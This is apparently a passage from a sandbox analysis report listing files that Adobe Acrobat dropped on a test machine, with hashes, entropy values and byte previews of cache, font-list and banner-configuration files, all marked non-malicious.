Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766770225637616
Encrypted:	false
SSDEEP:	48:7M3JioyVkioyOoy1C7oy16oy1qKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O4:7kJukK9XjBimb9IVXEBodRBkU
MD5:	215F2DF22CB25C23A44A64F99D36120D
SHA1:	135AFC7ED878C295FF71D12A9A79477CF4B0B6C7
SHA-256:	CCC3EED0A6D849843CB94A67D2DE207A3328A5E4DDCB613F2297FDADE6AF9066
SHA-512:	17248DCC33DCDF2C2B30EBABF101DF812C2EB47E67F01F55DFABFF292FF2DD4A7C304CFEA5152524E5FE8773F0B412BB4C5DDBC7C8153908FFB7D6FA907995BF
Malicious:	false
Preview:	.... .c.....W.Hg...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklN4yRytfllXlE/HT8k9lrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKh0yeT8Kl3NMa8RdWBwRd
MD5:	D15AD4E6B79CCF30A8EFE872E73D5A9E
SHA1:	1861C065B62B3602A1610B0EF1BDF83D01E8579C
SHA-256:	64751BF0F97ABA2C7552E12DC1DD6DB8F3F1F752AC250DBE9488EEE575B9B134
SHA-512:	8E272E2A94A1DB8B0CC03C61D4468D1F856E62AA1899145E614F8DF54AFB0EAF7CA7E1840AF36115C734AC1D095A2456898323CAF59345941A5BBA2424AE56F4
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W.....[..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKTNL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:hiDImsLNkPlE99SNxAhUe/3
MD5:	A9551E2A44C6100280C341D55C9778D6
SHA1:	95409A6C5737A6BCB79B4A2204BAA81B4BB78B43
SHA-256:	002A45597D754E5AA4D6D87ED970DD1EF01FFE100928498A0E78B4E4130A4B6F
SHA-512:	FF1F58774CAB230D725691C735CD925D9BD939DE63AC876491DD0719F00EBCCE2E9CAF854F8A938B9F387AFF32A01A3170E9CC44E30FE1086679ADDE3A4A284C
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3660972763509935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJM3g98kUwPeUkwRe9:YvXKXpctGMbLUkee9
MD5:	568DABAF619FAEF45DE35A2500F98589
SHA1:	7963AC6619115513829473E814079807E38FC256
SHA-256:	879BDBBABD506F7F0E994F0D08679ABE8F8A4A0B6D0859703638AACB3FB73B29
SHA-512:	9E623F86F0E8A227C9767989CCF941873C3EB544B745BCB4159C2A9BBC606B3A5506FC5A6623A412D0007F4ABB7417B26EEC23C1CBA6D31B8158C13CE5B87783
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319841193728121
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfBoTfXpnrPeUkwRe9:YvXKXpctGWTfXcUkee9
MD5:	6B5A0AB337DFF370611C0CD72A71EB76
SHA1:	8159B25CA3440AAB0A907AB7D3C53E84E1F4C026
SHA-256:	2E85BC5B5B29AFE003303284F02DCB5FCD1DF41AD6DEAE1530E7D231A54E6465
SHA-512:	365069A49B0A65C510171470DA70E343D39289458FFE84630528D718D80B149065EF6D4D9E6E74A81BACAF1B7B64C03E694CDAD8CC4AC497ACFDF4C359812858
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299038941697325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfBD2G6UpnrPeUkwRe9:YvXKXpctGR22cUkee9
MD5:	DAC234DA5828F76D42BB2E1CACAAA5F8
SHA1:	EB1BC11094335F22047330F07F1453F2D705F446
SHA-256:	8148589C6EF14E44D4921D66F5F2EA79D20EA6EB1762702BAC558472D269A3B6
SHA-512:	AAAEBF0A7F1803C5B164C915B7D6464F670E5C5F564855B674E7F940E01C28B9914CEE19ABD35D61BBC759123F535CD239A76222C6ED0AF0EE4C48F99DADA21C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346215777981028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfPmwrPeUkwRe9:YvXKXpctGH56Ukee9
MD5:	323C8C1C9982991930825F9FC962538F
SHA1:	45F7E4C5482EA8D27293C9E465AEF44FCDC466E9
SHA-256:	C68E83CD8A2C891F0BB25D563C134F89EC8D870E714FCF569721D4533A7ECEDD
SHA-512:	9D345306514E1C7943A1DEF9FA51BB9B9FC7F11C0ACF1BBCA92DEB9CA74E3F57E29859B1B7BAC36C6AA369DF4629303FA5C08C13E9AF530B1D299464A1F286E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6873143335942915
Encrypted:	false
SSDEEP:	24:Yv6XOSpLgE9cQx8LennAvzBvkn0RCmK8czOCCS811:YvMhgy6SAFv5Ah8cv/8r
MD5:	8952E9368EA10BFFE448E4B0841A38B7
SHA1:	6406C18D1351A97961EDF7CEF0A58B6B4C9BC6EC
SHA-256:	052D3DEE3A78464390B0BC3A0C008E973F3677CCD1800CC675B45FB9E7BC7AC5
SHA-512:	71B69539CA8413AD79AEC5DF0535DBB3B959327E3C192048BE049EB9C7753B10D379CAC15FE6A28E664F1A02CD22EE68ADE56FB9E0ED5C27D84319EDFC414239
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294784692153818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJf8dPeUkwRe9:YvXKXpctGU8Ukee9
MD5:	18D8DF9AB4F74DF7D48ED37135D04783
SHA1:	3FDE30173AD26411FE824ECDC528FB514FFBFD8D
SHA-256:	C749BEFDB619432133619590C8D84624F9AE1434FC1CD64C30343C82EB2DD797
SHA-512:	5222749B632BB7A920DB8CCA51B8F88BD19E1D94DA1E55EB9E27C5E4806BA9F54B24E1FE8E669D498865E260BE9A3CC9ED6F1295DFCEC0C1F72A8AB5464AA9E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.298072125017326
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfQ1rPeUkwRe9:YvXKXpctGY16Ukee9
MD5:	920CE864417D7EE702EE5BF42861E678
SHA1:	02A6687E76AA28B0343E24543EC2C0769E3F7F20
SHA-256:	A3FFDD8C1E7F1B318629D44E9386FA3575FEB505A5DBDAE6F96099E53A186952
SHA-512:	D89D98A60F79FFE1884462166322B936642FC83255C6EB2282B8F9FC8B29D0514EA4770B2EE5635A3516762CC168C3787AD6C11A3F8C6111DB903F3B32C48BC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302661885316534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfFldPeUkwRe9:YvXKXpctGz8Ukee9
MD5:	DD0FE1A9203396D71EB520E5137D4272
SHA1:	35B21F566D7D86802ED05A347560CA1F1DB49DDE
SHA-256:	8D555A2B1898C64328B29E960940D0421A61DDC5F514AE9E8FA87DDB0CCCD784
SHA-512:	D609B93A72AEB4A21F9770C44E1871E717A8C10D2FD6786D2E29BE55E4BCA011EB555F86812747499D2E02859D57375F0F41E6065C1F3DC7F32BA5006CBFAFCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
